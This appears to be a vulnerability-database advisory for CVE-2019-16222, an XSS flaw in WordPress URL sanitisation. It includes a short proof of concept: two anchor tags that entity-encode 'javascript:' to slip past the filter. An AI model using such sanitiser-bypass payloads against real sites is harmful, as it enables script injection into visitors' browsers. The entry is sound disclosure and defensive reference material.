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How it worksPricing
Vulnerabilities
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For developers
StatusAPI detailsCLI scanner
Contact

WordPress Vulnerabilities

WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation

Description

According to the WordPress release notes:

"Props to Soroush Dalili (@irsdl) from NCC Group for disclosing an issue with URL sanitization that can lead to cross-site scripting (XSS) attacks."

Proof of Concept

Thanks to @irsdl's Hacker1 disclosure:

<a href="javascript&#58alert(document.domain)">JS - Numerical Entities</a>
<a href="javascript&#x3ax=1;alert(document.domain)">JS - Hex Entities</a> 

Affects WordPress

3.8.1
Fixed in version 3.8.30
3.8
Fixed in version 3.8.30
3.7.1
Fixed in version 3.7.30
3.6
Fixed in version 5.2.3
3.5.2
Fixed in version 5.2.3
3.5.1
Fixed in version 5.2.3
3.5
Fixed in version 5.2.3
3.4.2
Fixed in version 5.2.3
3.4.1
Fixed in version 5.2.3
3.4
Fixed in version 5.2.3

References

CVE
CVE-2019-16222
URL
https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
URL
https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
URL
https://hackerone.com/reports/339483

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Soroush Dalili (@irsdl) - NCC Group

Submitter

Ryan Dewhurst

Verified

No

WPVDB ID
4494a903-5a73-4cad-8c14-1e7b4da2be61

Timeline

Publicly Published

2019-09-05 (about 3 years ago)

Added

2019-09-05 (about 3 years ago)

Last Updated

2020-09-22 (about 2 years ago)

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